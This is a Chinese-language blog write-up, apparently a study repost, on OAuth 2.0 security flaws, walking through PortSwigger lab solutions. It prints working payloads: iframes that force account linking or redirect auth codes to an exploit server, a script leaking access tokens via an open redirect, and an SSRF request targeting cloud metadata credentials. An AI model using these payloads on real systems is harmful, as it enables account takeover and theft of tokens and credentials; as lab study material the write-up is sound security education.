主頁 >  其他 > OAuth2.0協議安全學習

OAuth2.0協議安全學習

2022-08-23 08:05:48 其他

有一個問題困擾了很久很久，翻來覆去無法入眠，那就是OAuth2.0有什么安全問題啊？

OAuth2.0是一種常用的授權框架，它使網站和 Web 應用程式能夠請求對另一個應用程式上的用戶帳戶進行有限訪問，在全世界都有廣泛運用，

OAuth2.0簡介

OAuth2.0是什么

OAuth2.0是授權的工業標準協議，該協議允許第三方應用程式對于服務的有限訪問，例如常見的第三方登錄就基于此協議

OAuth2.0應用情景

OAuth2.0常被應用于以下情景 

1、應用于第三方應用登錄，將受保護的用戶資源授權給第三方信任用戶，從而避免二次登錄造成泄密

2、應用于多服務場景中，用于服務的統一登陸認證，對內部系統之間的資源請求進行權限管理

3、應用于開發平臺場景中，對系統敏感資源進行安全認證和保護

密碼與OAuth2.0

1、密碼與令牌（token）的作用是一樣的，但令牌有其特點

　用戶無法自己修改

　且一般來說token是短期的

　可以被所有者撤銷

　token的權限一般是有限制的，而對于密碼而言，其權限一般是完整權限

２、基于以上設計，OAuth2.0協議即可保證可以使得第三方應用獲得權限使用，但又隨時處于可控，這就是OAuth2.0的優點所在

 

OAuth2.0運行流程和授權模式

首先了解一下大概結構

Client: 第三方應用
Resource Owner: 資源所有者
Authorization Server: 授權服務器
Resource Server: 擁有資源資訊的服務器

以下即為運行程序

a.png

OAuth的授權模式有五種

　授權碼模式|authorization code

　簡化模式|implicit

　密碼模式|resource owner password credentials

　客戶端模式|client credentials

 

在請求中一般存在response_type一類的引數，根據授權模式的不同，引數內容也會不同，這就是我們判斷不同授權模式的重要依據

詳情可見

https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

四種授權模式，安全問題大多在authorization code模式和implicit模式發生，我們也可以對此著重了解

OAuth2.0安全問題分析

為什么出現問題

OAuth2.0的授權認證流程大部分情況下是沒有問題的，但他缺少內置的安全功能，認證是否安全幾乎完全取決于使用者的正確配置，例如是否對token進行資料系結、是否對資料本身進行加密等，而且不同的授權方法有不同的1特點，而根據授權型別，即使是高度敏感的資料都會被通過瀏覽器發送，給了攻擊者各種攔截資料的機會

怎么判斷是否使用OAuth2.0認證方法

主要可以通過兩點判斷

1、對資料進行抓包，基本所有的認證請求都是自/authorization開始，并且攜帶了類似于Client_id、redirect_uri等標志引數

2、是否可以使用第三方應用進行登錄，如若可以，基都是采取OAuth2.0認證

授權服務器認證繞過

當我們完成登錄獲取第三方資源時，是通過一個用戶郵箱、ID進行識別，但如果第三方資源授權沒有對此進行合理的認證，就有可能繞過授權服務器認證

1、靶場

Lab: Authentication bypass via OAuth implicit flow

2、解法

進行抓包，查看資料包的互動流程，在/authorization看到有郵箱、ID回傳認證

1.png

2.png

可以嘗試修改email和username

3.png

Forward發送，發現token并沒有進行內容系結，成功login

4.png

【----幫助網安學習，以下所有學習資料免費領！加vx：yj009991，備注 “博客園” 獲取！】

　① 網安學習成長路徑思維導圖
　② 60+網安經典常用工具包
　③ 100+SRC漏洞分析報告
　④ 150+網安攻防實戰技術電子書
　⑤ 最權威CISSP 認證考試指南+題庫
　⑥ 超1800頁CTF實戰技巧手冊
　⑦ 最新網安大廠面試題合集（含答案）
　⑧ APP客戶端安全檢測指南（安卓+IOS）

CSRF關聯賬號

造成這個安全問題的主要原因是對OAuth組件的配置錯誤，比如state引數

這個引數可以類比于CSRF令牌token，一般是作為與會話資訊相關聯的一個hash值，作為客戶端與服務端之間通信的token令牌，而當配置出現問題，攻擊者就可以將受害者第三方登錄資訊系結到自己的賬號實作CSRF

1、靶場

Lab: Forced OAuth profile linking

2、解法

我們先正常登錄

5.png

點擊系結social profile，對social media認證頁面進行抓包，得到令牌code

6.png

我們可以先直接帶上訪問一下試試

7.png

這是因為我們還沒有實作系結登錄，我們現在要做的就是讓管理員登錄時帶上的是我們的code，這樣我們就可以成功劫持管理員賬號

我們重新抓取一個包拿到code，得到code后drop掉不讓他成功登錄認證

然后進入exploit修改body

8.png

<iframe src="https://you-Labe-URL/oauth-linking?code=xxxx"></iframe>

發送給受害者，而后重新登錄social media

成功登錄admin

9.png

刪掉carlos用戶即可

 

CSRF獲取敏感資訊

我們正常登錄認證后需要從認證頁面重定向回到原本的頁面，這里起到作用的就是redirect_uri引數，這是一個很合理的設計，但如果redirect_uri重定向回來的是其他地方，比如我們的攻擊服務器，那么我們是不是可以竊取到一些敏感資訊，例如我們上一道題登錄admin用到的code

與上一題不同的點在于，前者是攻擊者生成了token讓admin系結，這里是讓admin生成token攻擊者拿到去進行系結

1、靶場

Lab: OAuth account hijacking via redirect_uri

2、解法

我們抓包可以看到很多個引數，回傳的response有個重定向回到原本的登陸頁面

10.png

我們可以先簡單測驗一下，把redirect_uri引數換成我們的攻擊服務器

11.png

12.png

 

訪問抓包

13.png

callback

14.png

可以看到host變成了我們的攻擊服務器，這就是問題所在

我們進入exploit修改body

15.png

<iframe src="https://oauth-0ab7002704013c25c0e609d702b200d8.web-security-academy.net/auth?client_id=vna7ueijoqkr7uoxz68yl&redirect_uri=https://exploit-0ad700bf04bc3c4bc0f9097701db00da.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe>

修改redirect_uri重定向回我們的exploit，store存盤一下，然后view exploit預覽一下

16.png

確認可以后發送給受害者，然后查看log，可以看到就能竊取到code

17.png

然后根據包的發送流程，將code進行修改callback回去

18.png

https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6

成功登錄admin，洗掉用戶就行

 

通過開放重定向獲取敏感資訊

與上一道類似，但是這里加入了對重定向redirect_uri引數的檢測，限制url為client app，這時候可以通過在client app中尋找open redirect漏洞，再搭配CSRF得到code實作越權

1、靶場

Lab: Stealing OAuth access tokens via an open redirect

2、解法

抓包然后查找apikey，發現在/me路徑，放入repeater

19.png

測驗redirect_uri，發現是以白名單進行驗證，無法以外域作為重定向提供，同時發現存在目錄遍歷漏洞

20.png

21.png

進行尋找漏洞利用點，發現每個blog下方均有一個post點，易受目錄遍歷，選擇進行測驗

22.png

抓包放入repeater中測驗，發現可以重定向到外域，這樣我們就可以利用1這個重定向到我們的攻擊服務器，進行敏感資料的竊取

23.png

我們修改url重定向回exploit

https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email
?

24.png

進行訪問，成功回傳hello，world

25.png

這樣我們就可以撰寫script，讓admin登錄從而泄露token

<script>
    if (!document.location.hash) {
        window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

27.png

發送給受害者后進入access log，得到access_token

26.png

將access_token替換到/me路徑的Authorization: Bearer標頭中的token

28.png

發送即可得到apikey，提交即可

 

危險傳遞、使用某些特定資料

當OAuth存在專用注冊端點來運行客戶端自行注冊，而OAuth服務又以一種不安全的方式來傳遞、使用某些特定于客戶端的資料，就可能存在SSRF漏洞，出現密鑰的泄露

1、靶場

Lab: SSRF via OpenID dynamic client registration

2、解法

首先我們需要了解的是在OAuth服務開發中，存在這樣一類檔案

/.well-known/openid-configuration（類似的url還有/.well-known/oauth-authorization-server和/.well-known/jwks.json）

他們存盤著一些相關的配置

我們嘗試訪問

https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration

29.png

可以發現/reg是注冊點，我們可以在repeater中創建一個post請求向OAuth請求注冊，而這其中必須提供至少一個redirect_uris陣列

30.png

傳參后我們可以看到服務器給我們回傳了client_id和一系列資料

我們繼續翻看配置引數，其中最有可能存在SSRF的url引數就是logo_uri

我們可以進行嘗試，啟動Burp Collaborator client

POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json
?
{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"
}

31.png

發現可以成功攜帶資料

32.png

當我們拿著生成的client_id去訪問的時候我們也可以發現確實會攜帶出一些特殊資料

 /client/CLIENT-ID/logo

33.png

那當我們修改logo_uri為其他url時，我們就可以攜帶出我們想要的東西了，而題目已經給出了攻擊服務器的url，我們替換一下

POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json
?
{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

34.png

35.png

得到key

防御總結

  • 使用白名單檢驗redirect_url引數

  • 檢驗state引數是否存在

  • ccess token和client_id是否匹配，同時驗證access token的訪問范圍

  • 修復client端的開放重定向漏洞，防止auth code的泄露

宣告：本文僅限于技術討論與分享，嚴禁用于非法途徑，若讀者因此作出任何危害網路安全行為后果自負，與本號及原作者無關，

更多靶場實驗練習、網安學習資料，請點擊這里>>

搜索

復制

合天智匯：合天網路靶場、網安實戰虛擬環境

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/502455.html

標籤：其他

上一篇：Anaconda, PyTorch, CUDA Driver, PyCharm 安裝與配置

下一篇：HCIA學習筆記十八：Hybrid埠

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C＃(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種：三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看，三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看，三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統，“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及：虛擬機CentOs下執行 yum -y install lrzsz命令，出現錯誤：鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示：其實很簡單，往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號， sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求，SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生， 2020-08-28 16:18:25 分類專欄： kail 網路安全 linux 文章標簽： linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么？ 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼： #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘（北斗授時服務器）讓網路資料更精準

    北斗電力時鐘（北斗授時服務器）讓網路資料更精準 北斗電力時鐘（北斗授時服務器）讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年，資訊技術的得了快速發展，互聯網在逐漸普及，其在人們生活和生產中都得到了廣泛應用，并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用，一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub：https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺，后來才有了CTFHub。 感覺不論是網頁UI設計，還是題目質量，賽事跟蹤，工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解（net user / type /md /rd/ dir /cd /net use copy、批處理 等） 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝，密碼啊破解03Linux常用命令04LAMP 01LINUX windows： win03 8 12 16 19 配置不繁瑣 Linux：redhat,centos(紅帽社區版)，Ubuntu server,suse unix:金融機構，證券，銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 （POST注入/XSS漏洞上傳）3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題，描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章，不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》，我也是第一時間得知了這個訊息，然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本： 個人認為這件事也沒什么，還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹：metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包，它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一，它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip：192.168.20.121 靶機ip：192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k，軟體測驗工程師的漲薪史，給我看哭了

    清明節一過，盲猜大家已經無心上班，在數著日子準備過五一，但一想到銀行卡里的余額……瞬間心情就不美麗了。最近，2023年高校畢業生就業調查顯示，本科畢業月平均起薪為5825元。調查一出，便有很多同學表示自己又被平均了。看著這一資料，不免讓人想到前不久中國青年報的一項調查：近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文，所以對學習母語的我們非常不友好 使用網址：https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜，前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜，自動化測驗的需求也越來越高。如今，自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分，它們可以幫助開發人員更快地發現和修復錯誤，提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐：4個DVPP記憶體問題的典型案例解讀

    摘要：由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求（例如，記憶體首地址128位元組對齊），因此需呼叫專用的記憶體申請介面，那么本期就分享幾個關于DVPP記憶體問題的典型案例，并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》，作者：昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊，輔助滲透（埠掃描、登錄密碼爆破、漏洞驗證等） 2、encoders 編碼器模塊，主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手：與相機連接，設定相機引數，采集影像 2) 標定助手：九點標定或是其它的標定，生成標定檔案及內參外參，可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客，先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp)，這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接： https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more

Copyright © 2010-2020 有解無憂